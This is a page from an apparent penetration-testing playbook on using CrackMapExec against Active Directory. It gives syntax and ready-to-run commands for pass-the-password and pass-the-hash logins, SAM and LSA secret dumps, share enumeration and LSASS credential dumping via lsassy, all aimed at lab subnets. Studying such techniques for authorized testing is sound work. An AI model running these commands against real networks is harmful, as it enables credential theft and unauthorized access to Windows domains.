🖥️
Pentest Playbook
  • Pentest Playbook
  • Methodology
    • 🐘Pentest Methodology
  • Reconnaissance
    • 🦅Scanning and Enumeration
      • Host Discovery
      • Port Scan
  • Active Directory
    • 🐻Initial Attack Vectors
      • LLMNR Poisoning
      • SMB Relay
      • Gaining Shell Access
      • IPv6 Attack
    • 🐻‍❄️Post-Compromise Enumeration
      • LDAPDomainDump
      • BloodHound
      • PlumHound
      • PingCastle
    • 🐼Post-Compromise Attacks
      • CrackMapExec
      • SecretsDump
      • Kerberoasting
      • Token Impersonation
      • LNK File Attack
      • GPP or cPassword Attack
      • Mimikatz
  • Password Attacks
    • 🐱Hashcat
      • Hashcat for Windows
    • 🐠Hydra
    • 🐶John The Ripper
Powered by GitBook
On this page
  • Pass-the-Password
  • Pass-the-Hash
  • CrackMapExec Attacks
  • SAM Dump
  • SMB Enumeration
  • LSA Dump
  • CrackMapExec Modules
  • LSASSY
  • CMEDB
  1. Active Directory
  2. Post-Compromise Attacks

CrackMapExec

PreviousPost-Compromise AttacksNextSecretsDump

Last updated 1 year ago

Pass-the-Password

Syntax: crackmapexec smb [target ip] -u [user] -d [domain] -p [pass]

Domain Authentication
crackmapexec smb 172.16.1.0/24 -u jjones -p buyme_200sx -d alterave.local
Local Authentication
crackmapexec smb 172.16.1.0/24 -u Administrator -p Password1! --local-auth

Pass-the-Hash

Pass-the-Hash attacks only work for NTLM hashes.

Syntax: crackmapexec smb [ip/cidr] -u [user] -H [hash] --local-auth

crackmapexec smb 172.16.1.0/24 -u Administrator -H aad3b435b51404eeaad3b435b51404ee:7facdc498ed1680c4fd1448319a8c04f --local-auth

CrackMapExec Attacks

SAM Dump

Syntax: crackmapexec smb [ip/cidr] -u [user] -H [hash] --local-auth --sam

crackmapexec smb 172.16.1.0/24 -u Administrator -H aad3b435b51404eeaad3b435b51404ee:7facdc498ed1680c4fd1448319a8c04f --local-auth --sam

SMB Enumeration

Syntax: crackmapexec smb [ip/cidr] -u [user] -H [hash] --local-auth --shares

crackmapexec smb 172.16.1.0/24 -u Administrator -H aad3b435b51404eeaad3b435b51404ee:7facdc498ed1680c4fd1448319a8c04f --local-auth --shares

LSA Dump

Syntax: crackmapexec smb [ip/cidr] -u [user] -H [hash] --local-auth --lsa

crackmapexec smb 172.16.1.0/24 -u Administrator -H aad3b435b51404eeaad3b435b51404ee:7facdc498ed1680c4fd1448319a8c04f --local-auth --lsa

CrackMapExec Modules

LSASSY

Syntax: crackmapexec smb [ip/cidr] -u [user] -H [hash] --local-auth -M lsassy

crackmapexec smb 10.1.1.0/24 -u Administrator -H aad3b435b51404eeaad3b435b51404ee:7facdc498ed1680c4fd1448319a8c04f --local-auth -M lsassy

CMEDB

cmedb

🐼
CME: Pass-the-Password (Domain)
CME: Pass-the-Password (Local)
CME: Pass-the-Hash
CME: SAM Dump
CME: SMB Enumeration
CME: LSA Dump
CME: LSASSY
CMEDB: Creds